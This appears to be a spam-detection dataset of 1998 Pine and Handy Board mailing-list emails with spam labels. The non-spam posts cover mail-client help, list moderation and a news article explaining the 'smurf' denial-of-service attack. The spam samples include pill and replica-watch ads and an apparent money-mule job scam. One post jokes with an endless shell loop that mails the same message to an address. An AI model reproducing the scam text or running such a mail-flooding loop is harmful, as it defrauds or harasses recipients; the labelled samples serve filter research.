+0100",Re: N ame C hange f orm,">> ""EMG"" == Edward ""Saint"" Greshko writes: ESG> I have an email contact with several individuals who have posted ESG> to pine-info asking about ""C hanging N ames"". Nice try, but a regexp search will catch those, too, Ed... ESG> It seems all of the ones I've communicated with have performed ESG> searches at yahoo or other places with phrases shown to produce ESG> results point to pine-info a previously holding conversations ESG> about that subject. Oh... emmm... like ""how to change the name in the from line""? Ray, Annelise, are you there? You suck. You hear me? [...] ESG> The people doing the search tend to be ""regular"" people with ESG> little or no knowledge of the technology they are using, let ESG> alone its limitations. They've never heard of ""pine"" and ESG> wouldn't have a reason to stop and think about how ""pine"" can ESG> or cannot be connected with their request. Sure. We all know that, Ed. The problem is: would you like me to run you over with a ten-ton truck, saying ""sorry, but I didn't know the technology""? ESG> Like it or not, these people make up a growing percentage of the ESG> Internet comunity. So, you will be seeing more and more of this ESG> type of ""error"". The dawning of doom. But... *we* don't surrender. *We* don't take any prisoners either. If *they* don't listen to reason, *we*'ll bring our superior firepower to bear. while true ; echo ""RTFM"" | mail loser@i.suck.com ; done ESG> Yelling at them and making rude comments is not going to improve ESG> the situation. Noone's done that IIRC. We've all been very helpful and understanding. Face it, Ed, she could be a saint now, if she only had listened... ESG> The only purpose it serves is to foster the image of the Internet ESG> as and unfriendly place. Oh yeah? If somehow Microsoft decided to give away guns for free, so that everyone could have even more information at their fingertips, would you just sit there and say ""thanks guys, great job""? The internet is not an unfriendly place at all if you stick to the rules that guys much cleverer than you and I made up years ago. If for whatever reason *they* should decide that pouring their crap into *our* information network would be a pretty KeWL idea... well, you know... ESG> The situation is bound to get worse before it gets better. It's certainly not going to get any better if the people who know what the internet can do just sit there silently waiting for the next glorious toilet appliance from Redmond. ESG> But, by their numbers, these folks make the Internet a cheaper ESG> place for all. May I politely interject here: this is about the dumbest thing I've heard for years? The internet is not cheap, and if it is to work at all, it will have to be made a *lot* more expensive. Just look at what AOL, compusmurf and MSN have done to the net already. Hell, I got about the fastest machine I ever had - but my download ratios plainly suck. IRC is being taken over by child pornographers and KeWL WaREz GuYZ. Even a.s.s. is full of commercial crap. And you want to tell *me* that the net is getting cheaper? I mean, yeah, it's being cheapened and nastied, but it's not getting any cheaper... This sucks. I hate those lusers. ESG> So, we (and that *surely* includes me) should learn a bit of ESG> tolerance and try to help rather than attack. Appeasement? No, Sir, thank you, we've had that before, and it didn't work then, either. I say, let's stand and fight. Ummm... and help, where we can, too. }:-> Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University Free Software: Contribute nothing, expect nothing",0,0 """Everett, Marty"" ",Pine Discussion Forum ,"Wed, 07 Jan 1998 14:40:40 -0500",RE: Pine with Exchange 5.5,"I have pine working with the default inbox and exchange 5.5 jut fine. I have not at this time tried any other folders. ( not user how ?). If you need some setup detail let me know. ---------- From: Ian McArthur[SMTP:Ian.McArthur@physics.ox.ac.uk] Sent: Wednesday, January 07, 1998 1:11 PM To: Pine Discussion Forum Subject: Pine with Exchange 5.5 Dear All, I notice that a couple of people have reported on this list that they are unable to get Pine 3.96 to see all folders on an exchange server running 5.5 with IMAP enabled. I too have encountered this and was told that this is due to the absence of some optional IMAP2 backwards compatibility in the MS product. Can anyone confirm this and if so anyone put a timescale on the release of a full IMAP4 version of Pine ? I'm certainly keen to see it. Cheers, Ian ",0,0 billy@bingo.edu,Pine Discussion Forum ,"Wed, 07 Jan 1998 14:15:53 -0600",See where your Competion is advertising,"Are your clients: Travelers, Vacationers or Timeshare Owners? TVC...the Timeshare Vacation Club is where YOUR ADS should be! 100% Satisfaction GUARANTEED! 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GO HERE FACT: 76% of woman are not satisfied with their lovers size.,1,1 Harold Gilkey ,westall@cs.clemson.edu,"Wed, 07 Jan 1998 12:41:30 -0800","Yahoo! - Internet hit by ""denial of service"" attacks","Where's MARS when you need it! (-: Also, did you ever get my e-mail with the ISBN number? Our mail servers have been acting kind of hokie lately - Speaking of Hokies (my undergrad), I guess your Tarheels taught them how to play football over the holidays? (-: Oh well ... See ya! (-: - harold >Wednesday January 7 12:34 PM EST > >Internet hit by ""denial of service"" attacks > >By James Glave > >SAN FRANCISCO (Wired) - Internet service providers and Internet Relay Chat >administrators are grappling with increased incidents of a crippling new >""denial of service"" attack that is grinding large Internet service providers >to a halt. > >""It's probably the worst attack the Internet has seen to date,"" said Sven >Nielsen, founder of DALnet, the third largest IRC network in the world. > >The technique, known as ""smurfing,"" cannot be stopped with a quick software >fix, and some network administrators charge that the major Internet backbone >providers -- the only people who can halt and trace smurfs -- aren't taking >the problem seriously enough. > >On Monday, the Computer Emergency Response Team issued an advisory on >smurfs, which first surfaced last fall when a program of the same name that >creates them began circulating the Net. > >This newest denial of service attack is much more difficult to head off than >the ""SYN flood"" attacks that made headlines last year. In those incidents, a >server is overwhelmed with half-completed requests for data. > >""As compared to a SYN flood, a smurf is devastating,"" said Nielsen. ""A SYN >flood simply turns off one or two services on a host. A smurf kills an >entire ISP for hours, depending on how long the smurf runs."" > >--- > >How does it work? > >A smurf begins when a single malicious user sends a stream of Internet >Control Message Protocol, or ping, packets -- used to determine if a machine >is alive -- to a target network's central ""directed broadcast"" address, >which is rarely used, but easily obtained. > >This address pings all the machines -- often 255 boxes or more -- on the >target network. > >Each of the hundreds of hosts on that target network will dutifully respond >with a ""yes, I'm here"" answer packet back to what they understand to be the >ping's origin address. But the cracker has forged the source address of the >originating ping packets. > >""The (faked originating address) is the poor hapless victim of the smurf,"" >explained Nielsen. Instantly, the target network is hopelessly clogged, as >Nielsen outlined with a typical smurf scenario. > >""Assume that someone on a 28.8K modem can safely send out 337 64-byte ping >packets ... per second,"" said Nielsen. ""When sent to a fully loaded >broadcast network ... this becomes 85,261 packets, or 5.45MB of data per >second."" > >""That's easily enough to kill off a T1 (very high-speed Internet line),"" >said Nielsen. ""If the person originates the smurf from a faster link, and >uses multiple relay networks, they can easily kill off a full 45 megabit (or >T3, an even faster T1) line. This is why it's so incredibly bad."" > >Further, there is nothing a victim can do to regain connectivity other than >ask upstream network providers, usually national service providers such as >UUNET, Sprint, and MCI, to help out by filtering the data. But so far, >according to Nielsen's own experiences -- and those of others on clomputer >bulletin boards that deal with such topics -- ""Very few of the backbone >providers seem to be concerned."" > >--- > >MCI recently incorporated smurf protection features into its free DoSTracker >server protection software. DoSTracker performs some custom configuration of >Cisco routers in real time and helps in tracking down the genuine source of >the malicious packets. > >But the DoSTracker software is only useful if one has access to all the >routers between the target network and the smurf. > >MCI can't use DoSTracker to trace into competitor Sprint's or UUNET's >network because they don't have access to Sprint or UUNET routers, and >attacks can -- and do -- bounce between them. > >Requesting a filter is often a frustrating process, due to lack of awareness >of the issue and a lack of cooperation between fiercely competitive national >service providers. > >""As it stands, it takes anywhere from a few minutes to an hour to get enough >people coordinated so you can actually figure out the source of these >things,"" said Karl Denninger, president of the Chicago-based Internet >service MCSNet and victim of numerous smurfs. > >Some administrators charge that Sprint has a flat ""no filters"" policy, while >others suggested that the company is reluctant to filter forged data packets >because of the drain such a move would place on their equipment. > >""Sprint's backbone filter-policy manager told me that (smurfing) is not a >significant problem, that they do not receive many calls for help on it, and >that their policy is to not place (filters on the unwanted data,"" Ken >Leland, owner of Monmouth Internet, said in an email. > >Sprint could not be reached for comment. > >""Meanwhile I have heard from many, many ISPs (Internet service providers) >that it is a problem, including two local ISP's in my area that have been >plagued with it,"" Leyland said. > >Smurfs are the most difficult denial of service attack to trace, said Dale >Drew, MCI's senior manager of security engineering. > >""When the smurf attacks first started, what the bad guy would do was find >just one innocent third party, send a broadcast ping to him, and have that >innocent third party send all of its packets to the victim,"" said Drew. > >--- > >""What the bad guys are doing now is finding 60 to 70 third parties and >sending packets to those people. So the victim gets hit by 60 times 255 >packets of an attack. When the good guy goes in to trace the attack, he sees >50 to 60 sources of attack,"" Drew said. > >Legitimate network users only hopelessly muddle this tedious detective work, >Drew said. > >""During an attack like this, all the people who are trying to use the >service can't access it, so the first thing they do is ping the host to make >sure it is alive. So investigators get bad and good ping packets and it's >very hard to tell the difference."" > >Drew said that MCI prevents broadcast ping packets from coming through >particular components of the company's network. > >""That adds a speed bump,"" Drew said. ""But the attacker can forge packets >going through gateways ... they can come from other sources where we are >unable to filter them."" > >Various preventative measures can be taken to eliminate smurfs at their >source, but stopping them in action is another matter. Not enough people are >taking precautions, said MCSNet's Denninger. For example, a single >configuration setting will stop Cisco routers from accepting forged packets, >he said. > >""The real issue is that we are, as an industry, allowing people to forge the >source addresses of packets that they inject into the Internet,"" said >Denninger. ""If providers would stop that practice, this problem would go >away, because you'd be traceable instantly."" > >Denninger suggested that such filters should be standard on all dial-up >modem and ISDN ports. > >Meanwhile, Nielsen said that the challenges of smurf tracking are as much >political and social as they are technical. Though MCI's Drew said that his >company is dealing with at least three or four smurf incidents a day, >DALnet's Nielsen said he has a hard time getting some national service >providers to grasp the issue. > >""Finding people with a clue and the access to track it down on the phone is >somewhat difficult,"" lamented Nielsen. ""The other problem is that there is >very little inter-provider cooperation between the big ISPs."" > >""We have to hope that the person with access and ability to trace the >packets doesn't blow us off because we're not an MCI customer,"" Nielsen >added. > >For his part, Denninger has lost enough business due to smurfing that he >would like to see serious legal repercussions for the perpetrators. > >The problem is serious enough that the FBI's computer crimes division is >investigating smurfing incidents, he said. > >Denninger was quick to blast the national service providers for what he sees >to be their complacency. > >""The national providers that refuse to take the appropriate steps to prevent >themselves from being used as a bounce point for this traffic are >contributorally negligent to the problem,"" he said. ""There ought to be some >indictments issued on this."" > >(Reuters/Wired) > >---------------------------------------------------------------------------- > Help > >---------------------------------------------------------------------------- >Previous Story: New studio produces films for ``two-inch'' Web screen >Next Story: Apple, thinking different, unveils a profit >---------------------------------------------------------------------------- > [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard | > Entertain | Health ] >---------------------------------------------------------------------------- >Copyright © 1997 Reuters Limited. All rights reserved. Republication or >redistribution of Reuters content is expressly prohibited without the prior >written consent of Reuters. Reuters shall not be liable for any errors or >delays in the content, or for any actions taken in reliance thereon > Questions or Comments > ",0,0 Jen Allen ,Pine Discussion Forum ,"Wed, 07 Jan 1998 11:43:29 -0500",Re: your mail,"Dear Sir or Miss, I figured out my problem. So nobody has to email me anymore. Thanks anyway. Jenn ",0,0 Thomas Binder ,Pine Discussion Forum ,"Thu, 08 Jan 1998 00:36:58 +0100",how to use pine with different email-accounts?,"Hi. i have several folders in my pine which are filled by my procmail with e-mail from differnet servers. now i want to write an email from the folder ""xy"" with my email-address binder@xy; when i am in folder ""xz"", i want to write an email with the adresse binder@xz. I had a possible solution with different .pinerc, but this does not solve it proper for my needs, i just want to go from one folder and reply with one of the email-adresses... I don't know much about filtering with pine, but could this be done with an outgoing filter, which does some sendmail? (don't know much about sendmail either!). thanx for your help... Thomas. -- +-----------------------------------------------------------------------+ |oooO / ) ( \\ Oooo. | |( ( ) / ( ) \\ ( ) ) imehl: binder@sindbad..uni-augsburg.de | | \\ ( ( ) ) ( ) ) ) / | | \\_) .oooO Oooo. (_/ Web: http://www.student.uni-augsburg.de/~binder | | ******************* ****************** ******************* | | Don't drink water - Fisch fuck in it!! (W.C. Fields) | +-----------------------------------------------------------------------+ ",0,1 Euphemia Stalter ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 07 Jan 1998 09:00:04 -0700",Re: AMBbtEN news,"Hi, X V A P L C V a A m r e I I n L b o v A A a I i z i L G x U e a t I R M n c r S A a http://www.ivronsiname.com were ever used in Medusa-and he was considered the most effective guerrilla leader in the war, as often as not fighting Command Saigon over orders as he did the enemy with death squads. Still, he obviously supported the war, observed Valentino. Outside of having no use for Saigon and the ARVN, I dont think he gave a damn one way or another. He had his own private war and it was ",1,1 mark@cs.clemson.edu,"westall@cs.clemson.edu, wayne@cs.clemson.edu, douglass@cs.clemson.edu","Wed, 07 Jan 1998 16:47:02 -0500","""smurf"" attack"," Smurfing Cripples ISPs by James Glave Internet service providers and Internet Relay Chat administrators are grappling with increased incidents of a crippling new ""denial of service"" attack that is grinding large ISPs to a halt. ""It's probably the worst attack the Internet has seen to date,"" said Sven Nielsen, founder of DALnet, the third largest IRC network in the world. The technique, known as smurfing, cannot be stopped with a software patch, and some network admins charge that the major Internet backbone providers - the only people who can halt and trace smurfs - aren't taking the problem seriously enough. On Monday, the Computer Emergency Response Team issued an advisory on smurfs, which first surfaced last fall when a program of the same name that creates them began circulating the Net. This newest denial of service attack is much more difficult to head off than the ""SYN flood"" attacks that made headlines last year. In those incidents, a server is overwhelmed with half-completed requests for data. ""As compared to a SYN flood, a smurf is devastating,"" said Nielsen. ""A SYN flood simply turns off one or two services on a host. A smurf kills an entire ISP for hours, depending on how long the smurf runs."" How it works A smurf begins when a single malicious user sends a stream of Internet Control Message Protocol, or ping, packets - used to determine if a machine is alive - to a target network's central ""directed broadcast"" address, which is rarely used, but easily obtained. This address pings all the machines - often 255 boxes or more - on the target network. Each of the hundreds of hosts on that target network will dutifully respond with a ""yes, I'm here"" answer packet back to what they understand to be the ping's origin address. But the cracker has forged the source address of the originating ping packets. ""The [faked originating address] is the poor hapless victim of the smurf,"" explained Nielsen. Instantly, the target network is hopelessly clogged, as Nielsen outlined with a typical smurf scenario. ""Assume that someone on a 28.8K modem can safely send out 337 64-byte ping packets ... per second,"" said Nielsen. ""When sent to a fully loaded broadcast network ... this becomes 85,261 packets, or 5.45MB of data per second."" ""That's easily enough to kill off a T1,"" said Nielsen. ""If the person originates the smurf from a faster link, and uses multiple relay networks, they can easily kill off a full 45Mbit [T3]. This is why it's so incredibly bad."" Further, there is nothing a victim can do to regain connectivity other than ask upstream network providers, usually national service providers such as UUNET, Sprint, and MCI, to filter the ICMP packets. But so far, according to Nielsen's own experiences - and those of others on ISP mailing lists - ""Very few of the backbone providers seem to be concerned."" Sourcing a smurf MCI recently incorporated smurf protection features into its free DoSTracker server protection software. DoSTracker performs some custom configuration of Cisco routers in real time and helps in tracking down the genuine source of the malicious packets. But the DoSTracker software is only useful if one has access to all the routers between the target network and the smurf. MCI can't use DoSTracker to trace into competitor Sprint's or UUNET's network because they don't have access to Sprint or UUNET routers, and attacks can - and do - bounce between them. Requesting a filter is often a frustrating process, due to lack of awareness of the issue and a lack of cooperation between fiercely competitive national service providers. ""As it stands, it takes anywhere from a few minutes to an hour to get enough people coordinated so you can actually figure out the source of these things,"" said Karl Denninger, president of the Chicago-based ISP MCSNet and victim of numerous smurfs. Some administrators charge that Sprint has a flat ""no filters"" policy, while others suggested that the company is reluctant to filter forged ICMP packets because of the drain such a move would place on their equipment. ""Sprint's backbone filter-policy manager told me that [smurfing] is not a significant problem, that they do not receive many calls for help on it, and that their policy is to not place [ICMP packet filters],"" Ken Leland, owner of Monmouth Internet, said in an email. Sprint could not be reached for comment. ""Meanwhile I have heard from many, many ISPs that it is a problem, including two local ISP's in my area that have been plagued with it,"" Leyland said. Smurfs are the most difficult denial of service attack to trace, said Dale Drew, MCI's senior manager of security engineering. ""When the smurf attacks first started, what the bad guy would do was find just one innocent third party, send a broadcast ping to him, and have that innocent third party send all of its packets to the victim,"" said Drew. ""What the bad guys are doing now is finding 60 to 70 third parties and sending packets to those people. So the victim gets hit by 60 times 255 packets of an attack. When the good guy goes in to trace the attack, he sees 50 to 60 sources of attack,"" Drew said. Legitimate network users only hopelessly muddle this tedious detective work, Drew said. ""During an attack like this, all the people who are trying to use the service can't access it, so the first thing they do is ping the host to make sure it is alive. So [investigators] get bad and good ping packets and it's very hard to tell the difference."" Drew said that MCI prevents broadcast ping packets from coming through particular components of the company's network. ""That adds a speed bump,"" Drew said. ""But the attacker can forge packets going through gateways ... they can come from other sources where we are unable to filter them."" Competition hampers detection Various preventative measures can be taken to eliminate smurfs at their source, but stopping them in action is another matter. Not enough people are taking precautions, said MCSNet's Denninger. For example, a single configuration setting will stop Cisco routers from accepting forged packets, he said. ""The real issue is that we are, as an industry, allowing people to forge the source addresses of packets that they inject into the Internet,"" said Denninger. ""If providers would stop that practice, this problem would go away, because you'd be traceable instantly."" Denninger suggested that such filters should be standard on all dial-up modem and ISDN ports. Meanwhile, Nielsen said that the challenges of smurf tracking are as much political and social as they are technical. Though MCI's Drew said that his company is dealing with at least three or four smurf incidents a day, DALnet's Nielsen said he has a hard time getting some national service providers to grasp the issue. ""Finding people with a clue and the access to track it down on the phone is somewhat difficult,"" lamented Nielsen. ""The other problem is that there is very little inter-provider cooperation between the big ISPs. When we find out that it comes from an MCI router, UUNET isn't going to call MCI - we have to call MCI. And since we're not an MCI customer, we have to explain what's going on, and hopefully the person on the phone doesn't blow us off because they think smurfing has something to do with a fixation on little blue creatures,"" he said. ""Then we have to hope that the person with access and ability to trace the packets doesn't blow us off because we're not an MCI customer,"" Nielsen said. For his part, Denninger has lost enough business due to smurfing that he would like to see serious legal repercussions for the perpetrators. The problem is serious enough that the FBI's computer crimes division is investigating smurfing incidents, he said. Denninger was quick to blast the national service providers for what he sees to be their complacency. ""The national providers that refuse to take the appropriate steps to prevent themselves from being used as a bounce point for this traffic are contributorally negligent to the problem,"" he said. ""There ought to be some indictments issued on this."" ",0,0 Eliana Olguin ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 07 Jan 1998 12:49:30 -0500","Tiffany, Handbags, Pens and more..","and swipe but albeit not axiomatic not addle but burnham ",1,0 Jody Navarro ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 08 Jan 1998 00:09:34 +0600",do you see any difference? ,"Hello, Thank you for expressing interest in Rolex Replica watches. This opportunity to offer you our fine selection of Italian/Swiss crafted Rolex Timepieces. You can view our large selection of Rolexes (including Breitling, Tag Heuer, Cartier etc) You are guaranteed of lowest prices and highest quality each and every time you purchase from us. Please do not hesitate to visit our website at http://051.lipfudge.com I certainly look forward to hearing from you. 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My email-address has changed a few times (partly becouse I traveld to other countries), and so I often see my name instead of the recipient's when I brouwse through old mailfolders. (The alternative of changing the From: Name lines ""manually"" in old mailfolders doesn't seem too attractive to me.) If there is no such feature, maybe this could be a suggestion for further versions? Please answer directly, since I am not a subscriber of the mailing-list. thanks (__) Jakob Kellner vv vv (oo) School of Mathematics F07 ||----|| * /-------\\/ University of Sydney, NSW 2006 || | / / | || eMail: kellner@pap.univie.ac.at /\\-------/ * ||----|| (oo) ~~ ~~ Australian Cow Austrian Cow (~~) ",0,0 Derek Mayfield ,handyboard@media.mit.edu,"Wed, 07 Jan 1998 17:03:13 -0700",Small Pen is? iOPb," Here's latest ""Longz"" formula has been proven to add inches to the sizes while multiplying orgasms like never had before. Our products is light years ahead of our competitors which has millions of happy users. Check us out..You won't regret. http://maxx14.hbshop.biz YqMiQU ",1,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Thu, 08 Jan 1998 01:10:16 -0600",Re: folder index - sender or recipient,">From: Jakob Kellner >Date: Thu, 8 Jan 1998 07:29:54 +0100 (MET) >Can you tell pine somehow that you have more than one email-address? In the configuration file, add your old addresses to the option ""alt-addresses"". For more information, read the context-sensitive help. You may have as many as you like. In your folders, you will see the recipient's name or newsgroup listed if you are the author, and you will also see the ""+"" if you are the recipient for any of the addresses you list.",0,0 CMandracch ,Pine Discussion Forum ,"Thu, 08 Jan 1998 09:39:31 -0500",importing jewelry,"To whom it may concern: I am interested in getting started in the importing business; the product that I will se selling is filigree jewelry from India. I am a teacher by profession and I need some info. in getting started in this business. If you have any info. available, I would deeply appreciate it. Thank you for your time; I am looking forward to hearing from you. Sincerely, Cindi Email address: CMandracch ",0,0 George ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 30 Dec 1997 11:08:03 +0200",Perfect Vacancy," Sir/Madam, Here are the requirements to the position of [1]Supervisor at InterMail Company and other information. We are young fast-developing enterprise. We work with active, purposeful people without paying attention to their religion, nationality and social status. You may succeed in InterMail Company. Now we are seeking for the Supervisor, which receives, checks and ships goods and letters to the employees of the company. You will have possibility to e@rn 1800-2500$ per month working at home as Supervisor. You do NOT pay any fee (money) when you join our company! No hidden fees! You don't need a vehicle for this job. You can work anytime a day, maximally for 3 hours a day. And you can have a Fulltime Job and do this job after it. Main requirements for competitor: * Ability to work in the United States (it's not obligatory to be a citizen of USA). * Ability to manage your time and complete different tasks in time. * Experience in using Microsoft Office programs is needed. * Ability to lift and carry 60 pound weight. * Home computer and access to the Internet. * Registration at our website. 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OK Microsoft Exchange IMAP4rev1 server version 5.5.1960.6 (imap01) ready If you do not get the message from exchange then it is not running. Thanks Marty ---------- From: Feinholz, Steven[SMTP:sf3@ElSegundoCA.NCR.COM] Sent: Wednesday, January 07, 1998 5:47 PM To: Everett, Marty Subject: RE: Pine with Exchange 5.5 I keep getting: Can't connect to <...> server, 143: refused or: Can't connect to <...> server, 143: timed out __________________________________________________ Steven Feinholz NCR Parallel Systems Client Software Phone: (310) 524-5945 Fax: (310) 524-5515 VoicePlus: 427-5945 email: Steven.Feinholz@ElSegundoCa.NCR.COM > ---------- > From: Everett, Marty[SMTP:MEverett@IKON.com] > Sent: Wednesday, January 07, 1998 1:45 PM > To: Everett, Marty; 'Feinholz, Steven' > Cc: Wyant, Rich; Riley, David; Wessells, Jim; Yang, Jennifer > Subject: RE: Pine with Exchange 5.5 > > What I did. > > 1) find out what system my mail box was on. > 2) Make sure Imap is turned on that system. Has be on that system > 3) Note your NT account login. > 4) Then set these two lines in you .pinerc > inbox-path={fred01/user=imap}inbox > rsh-open-timeout=0 > > fred01 is the hostname of the Exchange server i.e. > should resolve to the ip address of your NT exchange server that has > your mail box on it. > imap is the your nt account name on the nt server > rsh-open-timeout will set it so that it will prompt you > for a password right away and not try to see if r-commands will work > first. > > Other option of note : > > To make it so it looks like the mail you send came from your > exchange account set these options in your .pinerc. > > 1) personal-name=""Imap User"" > This should match what your full name is in exchange > 2) customized-hdrs=From: Imap User > this should match your full name in exchange and what > your smtp address is in exchange ( not your local host but on the > exchange server !!) > Also note the for the hdrs change to work you must > compile pine with the proper support turned on. > > To use exchange as your sendmail server and not your local > sendmail daemon then. > > 1) smtp-server=jane01 > This should be what ever exchange server has the > ""Internet Mail connector turned on"" this does not have to be the same > server that has your mail box but can be. This can be nice because you > will not have to setup or play with local sendmail daemon to make pine > sendmail. > > To get a global address from exchange. This is more difficult > because pine does not have ldap support at this time. What you can get > around this with and external ldap query program that runs the creates > the pine address book on a timely basis. If you need to know how to do > this let me know but you will some none pine programs. > > Thanks Marty > > > > > > > ---------- > From: Feinholz, Steven[SMTP:sf3@ElSegundoCA.NCR.COM] > Sent: Wednesday, January 07, 1998 4:17 PM > To: Everett, Marty > Subject: RE: Pine with Exchange 5.5 > > Actually, I could use some help. We have Exchange 5.x > running with an MSMail 7.0 server. I think we are switching > to the Exchange server in the next few months. > > But I have been unable to get Pine to even recognize my > INBOX on the server. Maybe I am setting it up incorrectly. > I was pointing the INBOX to my PST file on the server. > > __________________________________________________ > Steven Feinholz > NCR Parallel Systems > Client Software > Phone: (310) 524-5945 > Fax: (310) 524-5515 > VoicePlus: 427-5945 > email: Steven.Feinholz@ElSegundoCa.NCR.COM > > > ---------- > > From: Everett, Marty[SMTP:MEverett@IKON.com] > > Sent: Wednesday, January 07, 1998 11:40 AM > > To: Pine Discussion Forum > > Subject: RE: Pine with Exchange 5.5 > > > > I have pine working with the default inbox and exchange 5.5 > jut fine. > > I > > have not at this time tried any other folders. ( not user how > ?). If > > you > > need some setup detail let me know. > > > > ---------- > > From: Ian McArthur[SMTP:Ian.McArthur@physics.ox.ac.uk] > > Sent: Wednesday, January 07, 1998 1:11 PM > > To: Pine Discussion Forum > > Subject: Pine with Exchange 5.5 > > > > Dear All, > > I notice that a couple of people have reported on this > list that > > they > > are unable to get Pine 3.96 to see all folders on an > exchange > > server > > running 5.5 with IMAP enabled. I too have encountered > this and > > was told > > that this is due to the absence of some optional IMAP2 > backwards > > compatibility in the MS product. Can anyone confirm this > and if > > so > > anyone put a timescale on the release of a full IMAP4 > version of > > Pine ? > > I'm certainly keen to see it. > > Cheers, Ian > > > > > >",0,0 Rukn Luthra ,Pine Discussion Forum ,"Thu, 08 Jan 1998 22:33:11 +0500",Re: PROBLEM!!,"Hi Norbert! Thanks..I figured all this ...but deleting almost all my messages in the inbox and sent mail box did not help...so...anyways I have solved the problem...Thanks. Rukn On 7 Jan 1998, Norbert Koch wrote: > >>>On Wed, 7 Jan 1998 17:15:10 +0500 (GMT+0500), Rukn Luthra said: > > Hi, > > RL> Dear Sir, When I log into my e-mail, I get the following message > RL> ""ERROR IN SAVING CONFIGURATON......."" and when ever I send a > RL> message i get ""write to sent mail failed"" as a result messages do > RL> not get reflected in the sent mail box....While also composing a > RL> message i get ""No room...Disc quota exceeded..."" Please advise > RL> urgently on problem and its solution. Thanks Rukn Luthra > > this problem is (still) not a pine issue. The message tells you that > you should tidy up your place because the part of disk space which has > been given to you is all used up. There exist some possible solutions, > to be used in the mentioned order > > (a) remove old, now unwanted since no more needed files (some old > mails, eg) > (b) bribe your sys admin / help desk clerk to rise your disk quota > (c) ... > > I know, I've been missing some ways to solve the problem (shoot other > users and get their disk quota for example) ... but this I consider > unprofessional. > > After you've cleaned some files your configuration file can be saved > again (perhaps you should take a glance at it, it might be broken) and > sent-mail should work again. > > l8er, norbert. > > -- > Norbert Koch > a rattlesnake that doesn't bite teaches you nothing! >",0,0 """Fred G. Martin"" ",Douglas Blank ,"Thu, 08 Jan 1998 09:55:39 -0500",Re: Conversion of motors to Lego motors ,"I've put a link to the 6.270 documentation in the FAQ. There are some instructions in the 6.270 docs for ""LEGOizing"" DC motors. See -Fred In your message you said: > This isn't really a question about the Handyboard, but I thought that this > would be the best place to ask. > > I have many motors that came with my Handyboard kit (from Gleason > Research), but I want to use them with the Lego kits. Is there an easy way > to convert these motors to ones with Lego casings, etc? > > Thanks for any pointers, > > -Doug Blank > > ;===================================================================; > ;dblank@comp.uark.edu Douglas Blank, University of Arkansas; > ;Assistant Professor Computer Science; > ;=================== http://www.uark.edu/~dblank ===================; >",0,1 Germán Gentile ,"'Handyboard Mailing List' , ImageCraft List , Lista de Motorola- 6811 , ""Richard F. MAn"" , robot-board@cmf.nrl.navy.mil","Thu, 08 Jan 1998 12:20:45 -0300",Time routines,"Anybody have some routines for drive times??? I only need compare a elapsed time in two points of code. Have Imagecraft C built in support ??? Any help be great! Thanks in advance. ",0,0 Ann Huynh Tran ,Pine Discussion Forum ,"Thu, 08 Jan 1998 10:26:42 -0800",Sug (ID Y777J): (fwd),"---------- Forwarded message ---------- Date: Thu, 8 Jan 1998 10:19:49 -0800 (PST) From: Ann Huynh Tran To: Pine Developers Subject: Sug (ID Y777J): Hi, please help me retrieve my old messages. I was asked if I wanted to empty out my folder and start from January to save space. I did so without thinking that it would delete all my old messages. How do I get them all back??? Please Help!!!",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Thu, 08 Jan 1998 12:35:14 -0600",irrelevant posts (was: importing jewelry),">From: CMandracch >Date: Thu, 8 Jan 1998 09:39:31 EST >I am interested in getting started in the importing business; the product that >I will se selling is filigree jewelry from India. Sigh. Who has a theory on how a Web page from the archives was the highest scoring hit for ""filigree jewelry""? I assume this person isn't a subscriber. This is still an argument for modera- ting mail from nonsubscribers. Does anyone else think this is a good idea?",0,0 Craig Bladow ,Handy Board Mailing List ,"Thu, 08 Jan 1998 10:45:11 -0500",68HC11's for trade,"I have a limited supply of Motorola MC68HC711E9CFN2 chips I will trade for interesting electronic components. I am currently interested in LCD displays and Universal (Sony) remotes as well as Gameboy Units and cartridges. The 12K OTP ROMs have been previously programmed. The chips come with the OTP ROM contents zeroed and the config byte set to '0C' which turns off the internal ROM (which makes the E9 effectively an E1) and EEPROM. I have two operating HandyBoards using these chips without any problems Please reply to my email address and not the list if you are interested or have any questions. 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Having read the thread that seems to have developed, I concur with the apparent concensus that a moderated list and an unmoderated private one alongside seems to have the structure necessary to solve the problem. I would be willing to moderate a new subscriber's list, and since I prefer to avoid flaming or retorting to silly-assed queries, maybe that might be of some help when acting as a moderator. For that matter, perhaps those core members could rotate moderation on (say) a three month basis. If we had four willing members, then each would run the list once per year. If not, then what the hell, I'll moderate it. What would be necessary from U/Wash point of view to make this happen, and would they necessarily agree with the need to do this? Does this become a policy issue? I have no clue what the possible answers are to any of the above. Maybe it doesn't matter...I don't know. I accede to the wishes of the majority here, but I have the patience to do it which may help. -Colin > >>I am interested in getting started in the importing business; the product that >>I will se selling is filigree jewelry from India. > >Sigh. Who has a theory on how a Web page from the archives was the highest >scoring hit for ""filigree jewelry""? > >I assume this person isn't a subscriber. This is still an argument for modera- >ting mail from nonsubscribers. Does anyone else think this is a good idea? > > ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Thu, 08 Jan 1998 19:40:07 -0600",Re: irrelevant posts,">From: ""Colin J. Raven"" >Date: Thu, 8 Jan 1998 17:00:52 -0000 >What would be necessary from U/Wash point of view to make this happen, and >would they necessarily agree with the need to do this? Does this become a >policy issue? I don't know who the Webmaster is, and who the list-owner is. The Webmaster would need to change the archives to clearly give a description of pine on any Web page that has a mailto: URL. I got a letter today on ""lxgal nxme chxnge"". Fixing the Web pages would likely eliminate 90% of the irrelevant posts from nonsubscribers. Any post from a nonsubscriber would be sent to the moderation pool. Any new subscriber could be moderated till he asks a relevant question. The list server used is ListProc, and I assume it could filter mail along these lines. This is my suggestion. I wish the list-owner would post a message offering the University's opinion.",0,0 wl_csmith@SEOVCA.SEOVEC.OHIO.GOV,Pine Discussion Forum ,"Thu, 08 Jan 1998 21:57:53 -0500",Messages not delivered," For the past four days, I have not been receiving all my e-mail. Only part of the messages are getting through. I've sent myself test messages as well as messages to a group. These are not getting through. Messages to certain individuals are being delivered. Any suggestions? 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Hi, your message-id is something like 'Pine.SOL.3.95...'. Therefore, I guess that you are on a unix machine. If this holds true, you must ask your local sys admin whether she's got any backup tapes of your folder collection directory ($HOME/mail or whatever you've put 